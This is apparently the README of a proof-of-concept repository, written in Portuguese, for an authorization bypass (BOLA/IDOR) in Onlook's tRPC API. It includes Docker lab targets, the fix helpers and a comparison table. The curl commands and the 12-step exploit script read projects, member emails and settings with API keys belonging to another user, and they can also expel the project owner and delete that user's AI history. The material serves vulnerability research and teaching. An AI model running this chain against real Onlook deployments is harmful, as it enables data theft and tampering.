
PoC reproduzível de BOLA/IDOR contra a API tRPC do Onlook (CVE-2026-65013), com uma cadeia de exploração de 12 etapas, alvos Docker vulneráveis e corrigidos, e documentação técnica.
PoC reproduzível de BOLA / IDOR na API tRPC do Onlook (CVE-2026-65013).
Qualquer usuário autenticado pode ler, modificar e excluir projetos,
membros e histórico de IA de outros usuários apenas passando seus UUIDs para os
procedimentos tRPC (versões <= 0.2.32).
| CVE | CVE-2026-65013 |
| Advisory | GHSA-j6x3-f5cf-2pg4 |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerável | Onlook <= 0.2.32 |
| Patch | commit 423e2e9 (PR onlook-dev/onlook#3129) |
| Documento | Conteúdo |
|---|---|
O Onlook expõe seu backend via tRPC, e os procedimentos recebem o id do recurso diretamente do cliente:
project.get({ projectId }) // lê qualquer projeto
member.remove({ projectId, userId }) // expulsa qualquer um
chat.conversation.delete({ conversationId }) // exclui histórico de IA
settings.get({ projectId }) // settings com API keys
O problema: a maioria não verificava se o chamador era membro do projeto. A conexão com o Postgres (Drizzle) era um superusuário isento de Row Level Security, então o controle tinha que viver no código tRPC... e ali faltava.
Um helper verifyProjectAccess() já existia (aplicado a um punhado de
procedimentos, p. ex. project.update/delete), mas o resto da superfície
confiava no id do cliente: project.get, member.list, member.remove,
invitation.list, chat.conversation.*, chat.message.*, branch.*,
settings.*, frame.*…
A autenticação NÃO é o problema (JWT do Supabase funciona). É autorização por objeto (BOLA/IDOR): o atacante usa sua própria sessão legítima contra ids da vítima.
lib/authorization.js contém os helpers que faltavam (verifyProjectAccess,
verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess,
verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess) — o
equivalente do commit 423e2e9.lib/router.js os invoca apenas se enforceAuth estiver ativado; no modo
vulnerável os procedimentos são executados sem a checagem (o bug real).Unauthorized or not found (UNAUTHORIZED), para que não seja possível enumerar a
existência de recursos:
docker compose up -d --build
curl -s http://localhost:3000/health # {"status":"ok","fixed":false} → VULNERÁVEL
curl -s http://localhost:3001/health # {"status":"ok","fixed":true} → CORRIGIDO
O Docker sobe o target (vulnerável e corrigido) mais um serviço
demo. A exploração é feita da sua máquina contra esses targets.
curl -s http://localhost:3000/demo/ids # ids do seed da vítima (Alice)
Isso substitui o canal real pelo qual um atacante obteria os UUIDs (link de preview compartilhado, referrer de logs, convites…).
TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H 'content-type: application/json' \
-d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')
# 3a. LER o projeto secreto de Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}
# 3b. LISTAR membros e emails (mesmo sendo alheio ao projeto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# 3c. EXPULSAR Alice (owner) do PRÓPRIO projeto dela (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'
# → {"result":{"data":{"json":true}}} ← (Alice não está mais no projeto dela)
# 3d. EXCLUIR o histórico de IA de Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'
node exploit.js)Executa os 12 procedimentos da cadeia (ler projeto, listar projetos de Alice, filtrar emails, expulsar o owner, listar convites, ler/excluir histórico de IA, branches, settings com apiKey, frames):
node exploit.js # contra :3000 (vulnerável) → vazamentos
node exploit.js --target http://localhost:3001 --expect blocked # contra :3001 (corrigido)
Saída típica (vulnerável):
💥 project.get → FILTRADO
💥 member.remove → FILTRADO (membership alheio excluído: true)
💥 chat.conversation.delete → FILTRADO (histórico de IA alheio excluído: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leu/excluiu recursos de alice.
Contra o corrigido:
🛡️ project.get → BLOQUEADO (Unauthorized or not found)
...
✅ 12/12 — Servidor CORRIGIDO: o mesmo ataque foi bloqueado.
A exploração muta o banco em memória do server vulnerável: para reexecutá-la, reinicie essa instância (
docker compose restart server).
npm run demo # compara VULNERÁVEL vs CORRIGIDO em processo (sem rede), 12 procedimentos
bash test-local.sh # harness integral: curl (formato advisory) + exploit vs :3100 e :3101, exit code real
Ou no Docker:
docker compose up -d demo
docker logs cve-2026-65013-demo
open http://localhost:3000 # (ou http://localhost:3001 para a versão corrigida)
Contas de demo:
project.getPreviewProjects), status do
servidor (vulnerável/corrigido) e superfície tRPC.💥 FILTRADO / 🛡️ BLOQUEADO por
procedimento.O frontend é apresentação: a vulnerabilidade vive em
lib/router.jse o fluxo manual com curl do README continua sendo o mesmo.
.
├── Dockerfile node:22-alpine + deps + app
├── docker-compose.yml server (vulnerable :3000), server-fixed (:3001), demo — mesma imagem, muda FIXED
├── .dockerignore exclui node_modules
├── .gitignore
├── package.json @trpc/[email protected], @trpc/client, superjson, zod
├── server.js HTTP: /health, /login, /demo/ids, /api/trpc/*, estáticos (FIXED=env)
├── exploit.js PoC automatizado (cadeia BOLA/IDOR de 12 passos)
├── demo.js comparação vulnerável vs corrigido em processo
├── test-local.sh bateria local: curl (formato advisory) + exploits + exit code
├── lib/
│ ├── db.js banco em memória + seed (UUIDs estáticos e reproduzíveis)
│ ├── auth.js tokens de sessão HS256 (bem feitos de propósito)
│ ├── authorization.js helpers do FIX (commit 423e2e9) → "Unauthorized or not found"
│ └── router.js createAppRouter({ enforceAuth }) — a superfície tRPC
├── public/ app "real" (login, dashboard, console Red Team)
│ ├── index.html
│ ├── styles.css
│ └── app.js cliente tRPC manual (mesmo wire format do advisory)
└── docs/
├── CVE-2026-65013.md documentação técnica da CVE
└── ARQUITECTURA.md este repo explicado (mapa, wire format, extensão)
Para entender o que faz cada linha-chave do exploit e como estendê-lo a mais procedimentos:
docs/ARQUITECTURA.md §8-§9.
Este material é apenas para fins educacionais e de pesquisa de segurança. Use o exploit somente contra aplicações próprias ou com autorização escrita do proprietário. O uso não autorizado desta técnica contra sistemas de terceiros é ilegal e o responsável por seu uso é quem o realiza.
docs/CVE-2026-65013.md |
Técnica da CVE: root cause (RLS isento + helper mal distribuído), superfície afetada real, anatomia do ataque, análise linha por linha do fix 423e2e9, remediação, referências CVE/advisory/PR. |
docs/ARQUITECTURA.md | Do PoC: mapa de arquivos, wire format tRPC v10+superjson, modelo de dados, esquema VULN vs FIX, tabela de procedimentos, mapeamento PoC ↔ Onlook real, guia de extensão, validação/CI manual. |
// chat.conversation.delete — vulnerável (sem checagem) vs corrigido:
enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
project.update fica protegido em ambos os modos como "contraste": demonstra
que o helper existia, só que estava mal distribuído.| Procedimento | :3000 vulnerável | :3001 corrigido |
|---|
project.get (projeto alheio) | 200 + nome/metadata | 401 Unauthorized or not found |
member.list (emails alheios) | 200 + emails | 401 |
member.remove (expulsar o owner) | 200 true | 401 |
chat.conversation.delete | 200 true | 401 |
settings.get (apiKey) | 200 + settings | 401 |
project.update (contraste: já estava protegido) | 401 | 401 |
| Password | Papel |
|---|
[email protected] | alice123 | dona do projeto secreto |
[email protected] | bob123 | o atacante |
[email protected] | charlie123 | editor do projeto de Alice |